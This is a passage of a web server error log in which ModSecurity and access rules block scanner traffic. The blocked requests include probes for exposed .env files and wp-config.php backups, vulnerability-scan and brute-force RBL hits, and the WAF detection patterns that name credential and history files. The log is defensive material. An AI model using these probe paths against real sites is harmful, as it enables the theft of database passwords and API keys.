/home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:19.934204 2026] [access_compat:error] [pid 648189:tid 648253] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:19.934640 2026] [access_compat:error] [pid 648189:tid 648253] [remote 216.73.216.223:1358] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:20.031166 2026] [security2:error] [pid 648189:tid 648310] [remote 50.87.144.169:54116] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "piox.cl"] [uri "/wp-login.php"] [unique_id "ai30AFWSojQL4F7upKCL8gAAxlg"] [Sat Jun 13 18:21:20.093081 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2U= [Sat Jun 13 18:21:20.093347 2026] [access_compat:error] [pid 646876:tid 646952] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2U= [Sat Jun 13 18:21:20.191919 2026] [security2:error] [pid 646876:tid 646938] [remote 17.246.15.194:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 194.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ANyTkdrNlD40tSHFuQAAezs"] [Sat Jun 13 18:21:20.420805 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.63:39108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:20.421051 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.63:39108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:20.564405 2026] [access_compat:error] [pid 646876:tid 646919] [remote 57.141.14.30:62252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:20.564848 2026] [access_compat:error] [pid 646876:tid 646919] [remote 57.141.14.30:62252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:20.570997 2026] [access_compat:error] [pid 648189:tid 648228] [remote 57.141.14.44:57691] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:20.571340 2026] [access_compat:error] [pid 648189:tid 648228] [remote 57.141.14.44:57691] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:20.609324 2026] [access_compat:error] [pid 646876:tid 646966] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:21:20.609676 2026] [access_compat:error] [pid 646876:tid 646966] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:21:20.629497 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.64:33032] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:20.629809 2026] [access_compat:error] [pid 646876:tid 646936] [remote 57.141.14.64:33032] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:20.722611 2026] [security2:error] [pid 648189:tid 648320] [remote 17.22.253.85:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30AFWSojQL4F7upKCL_gAA4WE"] [Sat Jun 13 18:21:20.753155 2026] [security2:error] [pid 646876:tid 647000] [remote 17.246.15.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ANyTkdrNlD40tSHF0AAAbnk"] [Sat Jun 13 18:21:20.984973 2026] [security2:error] [pid 646876:tid 647030] [client 94.158.247.101:44052] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "royalcanvas.ca"] [uri "/wp-config.php.bak"] [unique_id "ai30ANyTkdrNlD40tSHF1wAAABY"] [Sat Jun 13 18:21:20.984996 2026] [security2:error] [pid 648189:tid 648382] [client 94.158.247.101:44080] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "royalcanvas.ca"] [uri "/wp-config.php.orig"] [unique_id "ai30AFWSojQL4F7upKCMBwAAAKI"] [Sat Jun 13 18:21:20.985299 2026] [security2:error] [pid 648189:tid 648415] [client 94.158.247.101:44068] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "royalcanvas.ca"] [uri "/wp-config.php.old"] [unique_id "ai30AFWSojQL4F7upKCMCAAAAMI"] [Sat Jun 13 18:21:21.142844 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ni9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:21:21.143120 2026] [access_compat:error] [pid 646876:tid 646922] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ni9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:21:21.287232 2026] [security2:error] [pid 648189:tid 648288] [remote 17.241.227.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30AVWSojQL4F7upKCMEAAAj0I"] [Sat Jun 13 18:21:21.473500 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.106:27949] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:21.473819 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.106:27949] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:21.581619 2026] [security2:error] [pid 646876:tid 647019] [client 110.249.201.135:36956] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "forum.loohan.com"] [uri "/robots.txt"] [unique_id "ai30AdyTkdrNlD40tSHF8gAAAAs"] [Sat Jun 13 18:21:21.664898 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:21:21.665180 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3 [Sat Jun 13 18:21:21.696464 2026] [access_compat:error] [pid 648189:tid 648298] [remote 57.141.14.16:30318] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:21.696748 2026] [access_compat:error] [pid 648189:tid 648298] [remote 57.141.14.16:30318] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:21.806460 2026] [security2:error] [pid 646876:tid 647091] [client 94.158.247.101:44082] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "royalcanvas.ca"] [uri "/wp-config.php.save"] [unique_id "ai30AdyTkdrNlD40tSHF-wAAAFM"] [Sat Jun 13 18:21:22.060505 2026] [security2:error] [pid 646876:tid 647036] [client 208.84.100.108:44156] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.bak"] [unique_id "ai30AtyTkdrNlD40tSHGAwAAABw"] [Sat Jun 13 18:21:22.073569 2026] [security2:error] [pid 648189:tid 648428] [client 208.84.100.108:44296] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/backend/.env"] [unique_id "ai30AlWSojQL4F7upKCMSQAAAM8"] [Sat Jun 13 18:21:22.075808 2026] [security2:error] [pid 646876:tid 647026] [client 208.84.100.108:44166] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env"] [unique_id "ai30AtyTkdrNlD40tSHGBgAAABI"] [Sat Jun 13 18:21:22.076147 2026] [security2:error] [pid 648189:tid 648412] [client 208.84.100.108:44332] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/web/.env"] [unique_id "ai30AlWSojQL4F7upKCMSwAAAL8"] [Sat Jun 13 18:21:22.078019 2026] [security2:error] [pid 646876:tid 647110] [client 208.84.100.108:44348] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/public/.env"] [unique_id "ai30AtyTkdrNlD40tSHGDAAAAGY"] [Sat Jun 13 18:21:22.081879 2026] [security2:error] [pid 646876:tid 647066] [client 208.84.100.108:44264] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/app/.env"] [unique_id "ai30AtyTkdrNlD40tSHGCAAAADo"] [Sat Jun 13 18:21:22.082060 2026] [security2:error] [pid 648189:tid 648478] [client 208.84.100.108:44318] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/server/.env"] [unique_id "ai30AlWSojQL4F7upKCMSAAAAPw"] [Sat Jun 13 18:21:22.082162 2026] [security2:error] [pid 646876:tid 647022] [client 208.84.100.108:44310] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/laravel/.env"] [unique_id "ai30AtyTkdrNlD40tSHGCgAAAA4"] [Sat Jun 13 18:21:22.082600 2026] [security2:error] [pid 646876:tid 647130] [client 208.84.100.108:44280] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/api/.env"] [unique_id "ai30AtyTkdrNlD40tSHGDgAAAHo"] [Sat Jun 13 18:21:22.086305 2026] [security2:error] [pid 648189:tid 648380] [client 208.84.100.108:44194] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.backup"] [unique_id "ai30AlWSojQL4F7upKCMRQAAAKA"] [Sat Jun 13 18:21:22.088685 2026] [security2:error] [pid 648189:tid 648441] [client 208.84.100.108:44316] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/src/.env"] [unique_id "ai30AlWSojQL4F7upKCMTQAAANw"] [Sat Jun 13 18:21:22.116781 2026] [security2:error] [pid 646876:tid 647120] [client 94.158.247.101:44096] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "royalcanvas.ca"] [uri "/wp-config.php.txt"] [unique_id "ai30AtyTkdrNlD40tSHGGgAAAHA"] [Sat Jun 13 18:21:22.199715 2026] [security2:error] [pid 648189:tid 648469] [client 208.84.100.108:44226] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "autodiscover.barelymadeitproductions.com"] [uri "/.env.old"] [unique_id "ai30AlWSojQL4F7upKCMRwAAAPM"] [Sat Jun 13 18:21:22.229302 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL3Bvd2Vy [Sat Jun 13 18:21:22.229879 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 